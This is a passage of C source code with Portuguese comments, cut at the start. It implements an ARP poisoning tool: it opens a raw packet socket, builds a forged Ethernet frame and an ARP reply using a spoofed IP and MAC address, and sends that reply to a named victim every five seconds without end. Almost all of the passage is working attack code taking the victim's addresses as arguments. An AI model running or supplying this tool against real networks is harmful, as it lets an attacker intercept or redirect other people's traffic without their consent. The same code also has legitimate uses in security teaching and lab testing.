if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_use))) == -1){ perror("Erro ao criar raw socket: "); exit(-1); } return rawsock;}int BindRawSocketToInterface(char *device, int rawsock, int protocol){ // Crio duas estruturas baseadas no tipo sockaddr_ll e ifreq: struct sockaddr_ll sll; struct ifreq ifr; // Zero o conteudo delas, setando tudo para 00000(...) bzero(&sll, sizeof(sll)); bzero(&ifr, sizeof(ifr)); strncpy((char *)ifr.ifr_name, device, IFNAMSIZ); if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1){ perror("Erro ao associar o indice de interface!\n"); exit(-1); } // Associa o pacote a interface: sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; sll.sll_protocol = htons(protocol); if((bind(rawsock, (struct sockaddr *)&sll, sizeof(sll)))== -1){ perror("Erro ao associar o raw socket a interface!\n"); exit(-1); } return 1;}int SendRawPacket(int rawsock, unsigned char *pkt, int pkt_len){ int sent = 0; // A parte facil: escrever no socket! if((sent = write(rawsock, pkt, pkt_len)) != pkt_len){ perror("Nao foi possivel enviar o socket!"); return 0; } return 1;}// Usando a estrutura previamente criada, vamos agora de fato criar a// funcao para gerar o nosso header Ethernet:EthernetHeader* CreateEthernetHeader(char *src_mac, char *dst_mac, int protocol){ EthernetHeader *ethernet_header; // Alocando dinamicamente espaco em memoria para sua utilizacao: // (Apenas 1 simples bit alocado no espaco errado o trabalho sera prejudicado!) ethernet_header = (EthernetHeader *)malloc(sizeof(EthernetHeader)); memcpy(ethernet_header->source, (void *)ether_aton(src_mac), 6); memcpy(ethernet_header->destination, (void *)ether_aton(dst_mac), 6); ethernet_header->protocol = htons(protocol); return (ethernet_header);}ArpHeader* CreateArpHeader(void){ ArpHeader *arp_header; in_addr_t temp; arp_header = (ArpHeader *)malloc(sizeof(struct ArpHeader)); arp_header->hardware_type = htons(ARPHRD_ETHER); // 0x0001 - Ethernet arp_header->protocol_type = htons(ETHERTYPE_IP); // 0x0800 - IPv4 arp_header->hard_addr_len = 6; arp_header->prot_addr_len = 4; arp_header->opcode = htons(ARPOP_REPLY); // 0x0002 - Reply memcpy(arp_header->source_hardware, (void *)ether_aton(SRC_ETHER_ADDR), 6); temp = inet_addr(SRC_IP); memcpy(&(arp_header->source_ip), &temp, 4); memcpy(arp_header->dest_hardware, (void *)ether_aton(DST_ETHER_ADDR), 6); temp = inet_addr(DST_IP); memcpy(&(arp_header->dest_ip), &temp, 4); return arp_header;}void error(){ printf("ARP Poisoning [interface][source IP][spoof mac address][mac da vitima][ip da vitima]"); exit(1);}main(int argc, char **argv){ int raw; unsigned char *packet; EthernetHeader *ethernet_header; ArpHeader *arp_header; int pkt_len; if(argv[1] == NULL){ error(); } if(argv[2] == NULL){ error(); } if(argv[3] == NULL){ error(); } if(argv[4] == NULL){ error(); } if(argv[5] == NULL){ error(); } INTERFACE = argv[1]; SRC_IP = argv[2]; SRC_ETHER_ADDR = argv[3]; DST_ETHER_ADDR = argv[4]; DST_IP = argv[5]; raw = CreateRawSocket(ETH_P_ALL); BindRawSocketToInterface(INTERFACE, raw, ETH_P_ALL); ethernet_header = CreateEthernetHeader(SRC_ETHER_ADDR, DST_ETHER_ADDR, ETHERTYPE_ARP); arp_header = CreateArpHeader(); pkt_len = sizeof(EthernetHeader) + sizeof(ArpHeader); packet = (unsigned char *)malloc(pkt_len); memcpy(packet, ethernet_header, sizeof(EthernetHeader)); memcpy((packet + sizeof(EthernetHeader)), arp_header, sizeof(ArpHeader)); //o grande momento: while(1){ if(!SendRawPacket(raw, packet, pkt_len)){ perror("Erro ao enviar pacote"); }else{ printf("ARP enviado com sucesso!\n"); } sleep(5); } free(ethernet_header); free(arp_header); free(packet); close(raw); return 0;}